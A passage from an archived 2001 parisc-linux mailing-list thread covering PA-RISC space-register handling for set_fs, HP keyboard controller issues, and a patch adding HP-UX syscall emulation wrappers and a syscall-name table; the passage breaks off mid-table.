in kernel space, it has to be set to 0 while in user space, because
sr2 is used as a pointer to the linux gateway page for system calls.
Right now we initialize it to zero once for the process and save and
restore it on context switches, i.e. a program will only mess itself
up if it changes the value.

I am almost certain that linux never goes to user space while fs is
set to KERNEL_DS. In general fs is normally set to USER_DS, and
only set to KERNEL_DS for a short period of time, and then restored.
However, I do believe it is possible to sleep while fs is set to
KERNEL_DS.

Anyway, perhaps you were already aware of this. It means that you can't
just set sr2 once from sr3, you need to set it every time sr3 is set,
i.e. upon entry to the kernel, at fork/exec time (add one line to
load_context() in pgalloc.h). It also means that sr2 needs to be set
back to zero when returning to user space (through a variety of paths).

Also, in order for set_fs(old_fs) to work correctly you need to do
either:

    1) Set sr2 to 0 when the argument to set_fs is KERNEL_DS, and KERNEL_DS
    must be defined as 0 (it is currently). Set sr2 to sr3 when the
    argument is any non-zero value. get_fs can then return the value of
    sr2.

    2) Set sr2 to 0 when the argument to set_fs is KERNEL_DS. Set sr2
    to sr3 when the argument is USER_DS. get_fs should return KERNEL_DS
    if sr2 is 0. get_fs should return USER_DS otherwise. I prefer this.

John




From - Thu Nov 08 21:19:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sti broken in pa32 on B180
Date: Fri, 05 Oct 2001 12:53:32 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <3BBD912C.9DA840E2@esiee.fr>
References: <1002191096.3bbc38f8c42ed@webmail.tiscalinet.be> <20011004071350.A27483@beavis.ybsoft.com> <1002215177.3bbc9709265c5@webmail.tiscalinet.be> <1002262769.3bbd50f1a5860@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620571 27076 80.91.229.3 (22 Nov 2014 01:42:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct  5 04:59:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 96C93482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Oct 2001 04:59:41 -0600 (MDT)
Original-Received: from esiee.fr (pc211j.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP
	id BE4A5D15B5; Fri,  5 Oct 2001 12:59:39 +0200 (CEST)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:12474

Hi Joel,

First of all, the STI console and fb is dead on my B132. And now, let's
go to the kbd.

	If you tried the disconnect/reconnect trial of strength on your PC,
you should see with showkey --scancode a scancode 0xAA that tells the
controller that a kbd has been reconnected.
On my B132, I don't see that all the time :( and when this occurs, it is
when the kbd do an timeout/parity error.
And this is a big trouble b/c it seems that we should look at the state
of the controller all the time and it is not a solution.
It seems to be integrated in the chip on PCs and on HP boxes, it is not
designed for that case, it seems.

I have two things to say but I need an Hardware HP guy to answer those:
	-1) Page 69 of LASI_ers.ps, note 2 is mentionned but I can see only the
note 1. Why?
	-2) On my B132, in boot_admin, when you press Escape Key too much (more
than 2 times), you can't type anything!
you need to press enter and then you can type. This is reproductible! Is
it a normal behaviour?

> Nervertheless on this b180 the (ps/2) kbd problem is reproductible:
> disconnect, reconnect the kdb then touch any key then:
> "keyboard: unrecognised scancode (7f) - Ignored"
> and I do not find a way to reinit the this kdb.
> (System still running, just loss the access to the console)
> 
> Thanks in advance for addtional help,
>         Joel

Thanks for any answer or advice, Thomas.
ESIEE Team




From - Thu Nov 08 21:19:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a todo entry
Date: Fri, 5 Oct 2001 14:32:21 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20011005143221.B19206@parcelfarce.linux.theplanet.co.uk>
References: <200110050903.DAA15266@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620571 27079 80.91.229.3 (22 Nov 2014 01:42:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct  5 07:32:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E4BEF4904
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Oct 2001 07:32:25 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15pV5R-0003q3-00; Fri, 05 Oct 2001 14:32:21 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200110050903.DAA15266@udlkern.fc.hp.com>; from jsm@udlkern.fc.hp.com on Fri, Oct 05, 2001 at 03:03:25AM -0600
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12475

On Fri, Oct 05, 2001 at 03:03:25AM -0600, John Marvin wrote:
>     1) Set sr2 to 0 when the argument to set_fs is KERNEL_DS, and KERNEL_DS
>     must be defined as 0 (it is currently). Set sr2 to sr3 when the
>     argument is any non-zero value. get_fs can then return the value of
>     sr2.
> 
>     2) Set sr2 to 0 when the argument to set_fs is KERNEL_DS. Set sr2
>     to sr3 when the argument is USER_DS. get_fs should return KERNEL_DS
>     if sr2 is 0. get_fs should return USER_DS otherwise. I prefer this.

I was thinking along the lines of:

#define KERNEL_DS 0
#define USER_DS mfsp(3)
#define get_ds() (KERNEL_DS)
#define get_fs() mfsp(2)
#define set_fs(x) mtsp(x, 3)

except that the first argument to mtsp needs to be a register, not a
value, but that's solvable, I think.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP-UX binary compatibility
Date: Fri, 5 Oct 2001 15:04:02 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <20011005150402.P11105@linuxcare.com>
References: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D865@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620572 27082 80.91.229.3 (22 Nov 2014 01:42:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:52 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "Neulinger, Nathan" <nneul@umr.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct  5 08:02:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id 804A049E4
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Oct 2001 08:02:29 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 90AB9B00C; Fri,  5 Oct 2001 15:04:02 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D865@umr-mail03.cc.umr.edu>; from nneul@umr.edu on Thu, Oct 04, 2001 at 04:16:52PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:12476

On Thu, Oct 04, 2001 at 04:16:52PM -0500, Neulinger, Nathan wrote:
> Got a question of how best to do something - flexlm does the lanscan style
> open of /dev/lan, /dev/lan0...15 to try and figure out the local hardware
> address of the machine:
> 
> 24240: open("/dev/lan", O_RDONLY) = -1 ENOENT (No such file or directory)
> 24240: open("/dev/lan", O_RDONLY) = -1 ENOENT (No such file or directory)
> 24240: open("/dev/lan0", O_RDONLY) = 9
> 24240: ioctl(9 [/dev/lan0], NETSTAT, 0x7b03bc28) = 0
> 24240: sigprocmask(2, 0x7b038a80, 0x7b03cf28) = 0
> 24240: sigprocmask(2, 0x7b03cf28, 0) = 0
> 24240: close(9 [/dev/lan0]) = 0
> 24240: time(0) = 0x3bbcd084
> 24240: write(1 [fluent.log], 0x7b028000, 66) = 66
> 
> What do y'all think is the best way of dealing with this? I could add the
> wrapper that traps the open system call, and then special case handle an
> open of /dev/lan*, and somehow keep track of that file descriptor in a
> global var of some sort, and then test for that fd in a wrapped ioctl
> handler? 
> 
> Or would there be some nicer way of dealing with this?
> 
> Then again, I suppose I could also just return legit info on any NETSTAT
> ioctl on any open fd and just have the open of /dev/lan really open
> /dev/null. That might be the simplest way to get it working. 

One alternative approach might be to load a kernel module that provides
a driver for /dev/lan.




From - Thu Nov 08 21:19:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nathan Neulinger <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Table version of syscall names patch and some simple wrappers
Date: Fri, 5 Oct 2001 09:28:44 -0500
Lines: 762
Approved: news@gmane.org
Message-ID: <20011005092842.A1036@umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="fdj2RfSjLxBAspz7"
X-Trace: ger.gmane.org 1416620572 27084 80.91.229.3 (22 Nov 2014 01:42:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:52 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct  5 08:28:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.umr.edu (mrelay.cc.umr.edu [131.151.1.89])
	by dsl2.external.hp.com (Postfix) with ESMTP id BC7E349E4
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Oct 2001 08:28:46 -0600 (MDT)
Original-Received: from infinity.cc.umr.edu (root@infinity.cc.umr.edu [131.151.32.21]) via ESMTP by mrelay.cc.umr.edu (8.9.3/R.4.20) id JAA20300; Fri, 5 Oct 2001 09:28:45 -0500
Original-Received: (from nneul@localhost)
	by infinity.cc.umr.edu (8.12.1/8.12.0.Beta7) id f95ESiiJ001047
	for parisc-linux@lists.parisc-linux.org; Fri, 5 Oct 2001 09:28:44 -0500
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
Xref: news.gmane.org gmane.linux.ports.parisc:12477

--fdj2RfSjLxBAspz7
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

This switches the callnames stuff into a table instead of a large switch. It
also includes a couple of simple wrappers that helped flexlm get a bit further
in it's execution. (Looks like it's working from lmdiag/lmstat, but doesn't
actually work from the applications yet unfortunately.)

-- Nathan

------------------------------------------------------------
Nathan Neulinger                       EMail:  nneul@umr.edu
University of Missouri - Rolla         Phone: (573) 341-4841
Computing Services                       Fax: (573) 341-4216

--fdj2RfSjLxBAspz7
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="sys_hpux_calls.diff"

Index: arch/parisc/hpux/entry_hpux.S
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/hpux/entry_hpux.S,v
retrieving revision 1.17
diff -u -r1.17 entry_hpux.S
--- entry_hpux.S	2001/10/04 11:05:44	1.17
+++ entry_hpux.S	2001/10/05 14:22:34
@@ -56,7 +56,7 @@
 	ENTRY_NAME(sys_sync)
 	ENTRY_NAME(hpux_unimplemented_wrapper)
 	ENTRY_NAME(sys_newstat)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
+	ENTRY_NAME(hpux_setpgrp3)
 	ENTRY_NAME(sys_newlstat)	/* 40 */
 	ENTRY_NAME(sys_dup)
 	ENTRY_NAME(hpux_pipe_wrapper)
@@ -100,13 +100,13 @@
 	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 80 */
 	ENTRY_NAME(sys_getpgid)
 	ENTRY_NAME(sys_setpgid)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
+	ENTRY_NAME(sys_setitimer)
 	ENTRY_NAME(hpux_unimplemented_wrapper)
 	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 85 */
+	ENTRY_NAME(sys_getitimer)
 	ENTRY_NAME(hpux_unimplemented_wrapper)
 	ENTRY_NAME(hpux_unimplemented_wrapper)
 	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
 	ENTRY_NAME(sys_dup2)		/* 90 */
 	ENTRY_NAME(hpux_unimplemented_wrapper)
 	ENTRY_NAME(sys_newfstat)
@@ -160,9 +160,9 @@
 	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 140 */
 	ENTRY_NAME(hpux_unimplemented_wrapper)
 	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
 	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 145 */
+	ENTRY_NAME(sys_getrlimit)
+	ENTRY_NAME(sys_setrlimit)      /* 145 */
 	ENTRY_NAME(hpux_unimplemented_wrapper)
 	ENTRY_NAME(hpux_unimplemented_wrapper)
 	ENTRY_NAME(hpux_unimplemented_wrapper)
@@ -172,7 +172,7 @@
 	ENTRY_NAME(hpux_unimplemented_wrapper)
 	ENTRY_NAME(hpux_unimplemented_wrapper)
 	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 155 */
+	ENTRY_NAME(hpux_lockf)      /* 155 */
 	ENTRY_NAME(hpux_unimplemented_wrapper)
 	ENTRY_NAME(hpux_unimplemented_wrapper)
 	ENTRY_NAME(hpux_unimplemented_wrapper)
@@ -202,7 +202,7 @@
 	ENTRY_NAME(hpux_unimplemented_wrapper)
 	ENTRY_NAME(hpux_unimplemented_wrapper)
 	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 185 */
+	ENTRY_NAME(sys_sigprocmask)      /* 185 */
 	ENTRY_NAME(hpux_unimplemented_wrapper)
 	ENTRY_NAME(hpux_unimplemented_wrapper)
 	ENTRY_NAME(hpux_unimplemented_wrapper)
@@ -213,10 +213,10 @@
 	ENTRY_NAME(hpux_unimplemented_wrapper)
 	ENTRY_NAME(hpux_unimplemented_wrapper)
 	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 195 */
+	ENTRY_NAME(hpux_statfs)
 	ENTRY_NAME(hpux_unimplemented_wrapper)
 	ENTRY_NAME(hpux_unimplemented_wrapper)
 	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
 	ENTRY_NAME(sys_waitpid)	/* 200 */
 	ENTRY_NAME(hpux_unimplemented_wrapper)
 	ENTRY_NAME(hpux_unimplemented_wrapper)
@@ -350,8 +350,8 @@
 	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 330 */
 	ENTRY_NAME(hpux_unimplemented_wrapper)
 	ENTRY_NAME(sys_lchown)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
 	ENTRY_NAME(hpux_unimplemented_wrapper)
+	ENTRY_NAME(hpux_sysfs)
 	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 335 */
 	ENTRY_NAME(hpux_unimplemented_wrapper)
 	ENTRY_NAME(hpux_unimplemented_wrapper)
@@ -399,8 +399,8 @@
 	ENTRY_NAME(hpux_unimplemented_wrapper)
 	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 380 */
 	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
 	ENTRY_NAME(hpux_unimplemented_wrapper)
+	ENTRY_NAME(hpux_setpgrp)
 	ENTRY_NAME(hpux_unimplemented_wrapper)
 	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 385 */
 	ENTRY_NAME(hpux_unimplemented_wrapper)
Index: arch/parisc/hpux/sys_hpux.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/hpux/sys_hpux.c,v
retrieving revision 1.9
diff -u -r1.9 sys_hpux.c
--- sys_hpux.c	2001/10/04 11:05:44	1.9
+++ sys_hpux.c	2001/10/05 14:22:34
@@ -9,6 +9,9 @@
 #include <linux/utsname.h>
 #include <asm/errno.h>
 #include <asm/uaccess.h>
+#include <linux/vmalloc.h>
+#include <asm/pgalloc.h>
+#include <linux/slab.h>
 
 unsigned long sys_brk(unsigned long addr);
  
@@ -41,6 +44,17 @@
 	return sys_waitpid(-1, stat_loc, 0);
 }
 
+int hpux_setpgrp(void)
+{
+	extern int sys_setpgid(int, int);
+	return sys_setpgid(0,0);
+}
+
+int hpux_setpgrp3(void)
+{
+	return hpux_setpgrp();
+}
+
 #define _SC_CPU_VERSION	10001
 #define _SC_OPEN_MAX	4
 #define CPU_PA_RISC1_1	0x210
@@ -129,7 +143,67 @@
 	return err;
 }
 
+/*
+ * Wrapper for hpux statfs call. At the moment, just calls the linux native one
+ * and ignores the extra fields at the end of the hpux statfs struct.
+ *
+ */
+
+typedef int32_t hpux_fsid_t[2];              /* file system ID type */
+typedef uint16_t hpux_site_t;
+
+struct hpux_statfs {
+     int32_t f_type;                    /* type of info, zero for now */
+     int32_t f_bsize;                   /* fundamental file system block size */
+     int32_t f_blocks;                  /* total blocks in file system */
+     int32_t f_bfree;                   /* free block in fs */
+     int32_t f_bavail;                  /* free blocks avail to non-superuser */
+     int32_t f_files;                   /* total file nodes in file system */
+     int32_t f_ffree;                   /* free file nodes in fs */
+     hpux_fsid_t  f_fsid;                    /* file system ID */
+     int32_t f_magic;                   /* file system magic number */
+     int32_t f_featurebits;             /* file system features */
+     int32_t f_spare[4];                /* spare for later */
+     hpux_site_t  f_cnode;                   /* cluster node where mounted */
+     int16_t f_pad;
+};
+
+/* hpux statfs */
+int hpux_statfs(const char *path, struct hpux_statfs *buf)
+{
+	int error;
+	int len;
+	char *kpath;
+
+	len = strlen_user((char *)path); 
+
+	kpath = (char *) kmalloc(len+1, GFP_KERNEL);
+	if ( !kpath ) {
+	printk(KERN_DEBUG "failed to kmalloc kpath\n");
+	return 0;
+	}
+
+	if ( copy_from_user(kpath, (char *)path, len+1) ) {
+	printk(KERN_DEBUG "failed to copy_from_user kpath\n");
+	kfree(kpath);
+	return 0;
+	}
+
+	printk(KERN_DEBUG "hpux_statfs(\"%s\",-)\n", kpath);
+
+	kfree(kpath);
+
+	/* just fake it, beginning of structures match */
+	extern int sys_statfs(const char *, struct statfs *);
+	error = sys_statfs(path, (struct statfs *) buf);
+
+	/* ignoring rest of statfs struct, but it should be zeros. Need to do 
+		something with f_fsid[1], which is the fstype for sysfs */
+
+	return error;
+}
 
+
 /*  This function is called from hpux_utssys(); HP-UX implements
  *  uname() as an option to utssys().
  *
@@ -334,6 +412,517 @@
 	return error;
 }
 
+/* lies - says it works, but it really didn't lock anything */
+int hpux_lockf(int fildes, int function, off_t size)
+{
+	return 0;
+}
+
+int hpux_sysfs(int opcode, unsigned long arg1, unsigned long arg2)
+{
+	char *fsname = NULL;
+	int len = 0;
+	int fstype;
+
+/*Unimplemented HP-UX syscall emulation. Syscall #334 (sysfs)
+  Args: 1 80057bf4 0 400179f0 0 0 0 */
+	printk(KERN_DEBUG "in hpux_sysfs\n");
+	printk(KERN_DEBUG "hpux_sysfs called with opcode = %d\n", opcode);
+	printk(KERN_DEBUG "hpux_sysfs called with arg1='%lx'\n", arg1);
+
+	if ( opcode == 1 ) { /* GETFSIND */	
+		len = strlen_user((char *)arg1);
+		printk(KERN_DEBUG "len of arg1 = %d\n", len);
+
+		fsname = (char *) kmalloc(len+1, GFP_KERNEL);
+		if ( !fsname ) {
+			printk(KERN_DEBUG "failed to kmalloc fsname\n");
+			return 0;
+		}
+
+		if ( copy_from_user(fsname, (char *)arg1, len+1) ) {
+			printk(KERN_DEBUG "failed to copy_from_user fsname\n");
+			kfree(fsname);
+			return 0;
+		}
+
+		printk(KERN_DEBUG "that is '%s' as (char *)\n", fsname);
+		if ( !strcmp(fsname, "hfs") ) {
+			fstype = 0;
+		} else {
+			fstype = 0;
+		};
+
+		kfree(fsname);
+
+		printk(KERN_DEBUG "returning fstype=%d\n", fstype);
+		return fstype; /* something other than default */
+	}
+
+
+	return 0;
+}
+
+
+/* Table of syscall names and handle for unimplemented routines */
+static const char *syscall_names[] = {
+	"nosys",                  /* 0 */
+	"exit",                  
+	"fork",                  
+	"read",                  
+	"write",                 
+	"open",                   /* 5 */
+	"close",                 
+	"wait",                  
+	"creat",                 
+	"link",                  
+	"unlink",                 /* 10 */
+	"execv",                 
+	"chdir",                 
+	"time",                  
+	"mknod",                 
+	"chmod",                  /* 15 */
+	"chown",                 
+	"brk",                   
+	"lchmod",                
+	"lseek",                 
+	"getpid",                 /* 20 */
+	"mount",                 
+	"umount",                
+	"setuid",                
+	"getuid",                
+	"stime",                  /* 25 */
+	"ptrace",                
+	"alarm",                 
+	NULL,                    
+	"pause",                 
+	"utime",                  /* 30 */
+	"stty",                  
+	"gtty",                  
+	"access",                
+	"nice",                  
+	"ftime",                  /* 35 */
+	"sync",                  
+	"kill",                  
+	"stat",                  
+	"setpgrp3",              
+	"lstat",                  /* 40 */
+	"dup",                   
+	"pipe",                  
+	"times",                 
+	"profil",                
+	"ki_call",                /* 45 */
+	"setgid",                
+	"getgid",                
+	NULL,                    
+	NULL,                    
+	NULL,                     /* 50 */
+	"acct",                  
+	"set_userthreadid",      
+	NULL,                    
+	"ioctl",                 
+	"reboot",                 /* 55 */
+	"symlink",               
+	"utssys",                
+	"readlink",              
+	"execve",                
+	"umask",                  /* 60 */
+	"chroot",                
+	"fcntl",                 
+	"ulimit",                
+	NULL,                    
+	NULL,                     /* 65 */
+	"vfork",                 
+	NULL,                    
+	NULL,                    
+	NULL,                    
+	NULL,                     /* 70 */
+	"mmap",                  
+	NULL,                    
+	"munmap",                
+	"mprotect",              
+	"madvise",                /* 75 */
+	"vhangup",               
+	"swapoff",               
+	NULL,                    
+	"getgroups",             
+	"setgroups",              /* 80 */
+	"getpgrp2",              
+	"setpgid/setpgrp2",      
+	"setitimer",             
+	"wait3",                 
+	"swapon",                 /* 85 */
+	"getitimer",             
+	NULL,                    
+	NULL,                    
+	NULL,                    
+	"dup2",                   /* 90 */
+	NULL,                    
+	"fstat",                 
+	"select",                
+	NULL,                    
+	"fsync",                  /* 95 */
+	"setpriority",           
+	NULL,                    
+	NULL,                    
+	NULL,                    
+	"getpriority",            /* 100 */
+	NULL,                    
+	NULL,                    
+	NULL,                    
+	NULL,                    
+	NULL,                     /* 105 */
+	NULL,                    
+	NULL,                    
+	"sigvector",             
+	"sigblock",              
+	"sigsetmask",             /* 110 */
+	"sigpause",              
+	"sigstack",              
+	NULL,                    
+	NULL,                    
+	NULL,                     /* 115 */
+	"gettimeofday",          
+	"getrusage",             
+	NULL,                    
+	NULL,                    
+	"readv",                  /* 120 */
+	"writev",                
+	"settimeofday",          
+	"fchown",                
+	"fchmod",                
+	NULL,                     /* 125 */
+	"setresuid",             
+	"setresgid",             
+	"rename",                
+	"truncate",              
+	"ftruncate",              /* 130 */
+	NULL,                    
+	"sysconf",               
+	NULL,                    
+	NULL,                    
+	NULL,                     /* 135 */
+	"mkdir",                 
+	"rmdir",                 
+	NULL,                    
+	"sigcleanup",            
+	"setcore",                /* 140 */
+	NULL,                    
+	"gethostid",             
+	"sethostid",             
+	"getrlimit",             
+	"setrlimit",              /* 145 */
+	NULL,                    
+	NULL,                    
+	"quotactl",              
+	"get_sysinfo",           
+	NULL,                     /* 150 */
+	"privgrp",               
+	"rtprio",                
+	"plock",                 
+	NULL,                    
+	"lockf",                  /* 155 */
+	"semget",                
+	NULL,                    
+	"semop",                 
+	"msgget",                
+	NULL,                     /* 160 */
+	"msgsnd",                
+	"msgrcv",                
+	"shmget",                
+	NULL,                    
+	"shmat",                  /* 165 */
+	"shmdt",                 
+	NULL,                    
+	"csp/nsp_init",          
+	"cluster",               
+	"mkrnod",                 /* 170 */
+	"test",                  
+	"unsp_open",             
+	NULL,                    
+	"getcontext",            
+	"osetcontext",            /* 175 */
+	"bigio",                 
+	"pipenode",              
+	"lsync",                 
+	"getmachineid",          
+	"cnodeid/mysite",         /* 180 */
+	"cnodes/sitels",         
+	"swapclients",           
+	"rmtprocess",            
+	"dskless_stats",         
+	"sigprocmask",            /* 185 */
+	"sigpending",            
+	"sigsuspend",            
+	"sigaction",             
+	NULL,                    
+	"nfssvc",                 /* 190 */
+	"getfh",                 
+	"getdomainname",         
+	"setdomainname",         
+	"async_daemon",          
+	"getdirentries",          /* 195 */
+	"statfs",                
+	"fstatfs",               
+	"vfsmount",              
+	NULL,                    
+	"waitpid",                /* 200 */
+	NULL,                    
+	NULL,                    
+	NULL,                    
+	NULL,                    
+	NULL,                     /* 205 */
+	NULL,                    
+	NULL,                    
+	NULL,                    
+	NULL,                    
+	NULL,                     /* 210 */
+	NULL,                    
+	NULL,                    
+	NULL,                    
+	NULL,                    
+	NULL,                     /* 215 */
+	NULL,                    
+	NULL,                    
+	NULL,                    
+	NULL,                    
+	NULL,                     /* 220 */
+	NULL,                    
+	NULL,                    
+	NULL,                    
+	"sigsetreturn",          
+	"sigsetstatemask",        /* 225 */
+	"bfactl",                
+	"cs",                    
+	"cds",                   
+	NULL,                    
+	"pathconf",               /* 230 */
+	"fpathconf",             
+	NULL,                    
+	NULL,                    
+	"nfs_fcntl",             
+	"ogetacl",                /* 235 */
+	"ofgetacl",              
+	"osetacl",               
+	"ofsetacl",              
+	"pstat",                 
+	"getaudid",               /* 240 */
+	"setaudid",              
+	"getaudproc",            
+	"setaudproc",            
+	"getevent",              
+	"setevent",               /* 245 */
+	"audwrite",              
+	"audswitch",             
+	"audctl",                
+	"ogetaccess",            
+	"fsctl",                  /* 250 */
+	"ulconnect",             
+	"ulcontrol",             
+	"ulcreate",              
+	"uldest",                
+	"ulrecv",                 /* 255 */
+	"ulrecvcn",              
+	"ulsend",                
+	"ulshutdown",            
+	"swapfs",                
+	"fss",                    /* 260 */
+	NULL,                    
+	NULL,                    
+	NULL,                    
+	NULL,                    
+	NULL,                     /* 265 */
+	NULL,                    
+	"tsync",                 
+	"getnumfds",             
+	"poll",                  
+	"getmsg",                 /* 270 */
+	"putmsg",                
+	"fchdir",                
+	"getmount_cnt",          
+	"getmount_entry",        
+	"accept",                 /* 275 */
+	"bind",                  
+	"connect",               
+	"getpeername",           
+	"getsockname",           
+	"getsockopt",             /* 280 */
+	"listen",                
+	"recv",                  
+	"recvfrom",              
+	"recvmsg",               
+	"send",                   /* 285 */
+	"sendmsg",               
+	"sendto",                
+	"setsockopt",            
+	"shutdown",              
+	"socket",                 /* 290 */
+	"socketpair",            
+	"proc_open",             
+	"proc_close",            
+	"proc_send",             
+	"proc_recv",              /* 295 */
+	"proc_sendrecv",         
+	"proc_syscall",          
+	"ipccreate",             
+	"ipcname",               
+	"ipcnamerase",            /* 300 */
+	"ipclookup",             
+	"ipcselect",             
+	"ipcconnect",            
+	"ipcrecvcn",             
+	"ipcsend",                /* 305 */
+	"ipcrecv",               
+	"ipcgetnodename",        
+	"ipcsetnodename",        
+	"ipccontrol",            
+	"ipcshutdown",            /* 310 */
+	"ipcdest",               
+	"semctl",                
+	"msgctl",                
+	"shmctl",                
+	"mpctl",                  /* 315 */
+	"exportfs",              
+	"getpmsg",               
+	"putpmsg",               
+	"strioctl",              
+	"msync",                  /* 320 */
+	"msleep",                
+	"mwakeup",               
+	"msem_init",             
+	"msem_remove",           
+	"adjtime",                /* 325 */
+	"kload",                 
+	"fattach",               
+	"fdetach",               
+	"serialize",             
+	"statvfs",                /* 330 */
+	"fstatvfs",              
+	"lchown",                
+	"getsid",                
+	"sysfs",                 
+	NULL,                     /* 335 */
+	NULL,                    
+	"sched_setparam",        
+	"sched_getparam",        
+	"sched_setscheduler",    
+	"sched_getscheduler",     /* 340 */
+	"sched_yield",           
+	"sched_get_priority_max",
+	"sched_get_priority_min",
+	"sched_rr_get_interval", 
+	"clock_settime",          /* 345 */
+	"clock_gettime",         
+	"clock_getres",          
+	"timer_create",          
+	"timer_delete",          
+	"timer_settime",          /* 350 */
+	"timer_gettime",         
+	"timer_getoverrun",      
+	"nanosleep",             
+	"toolbox",               
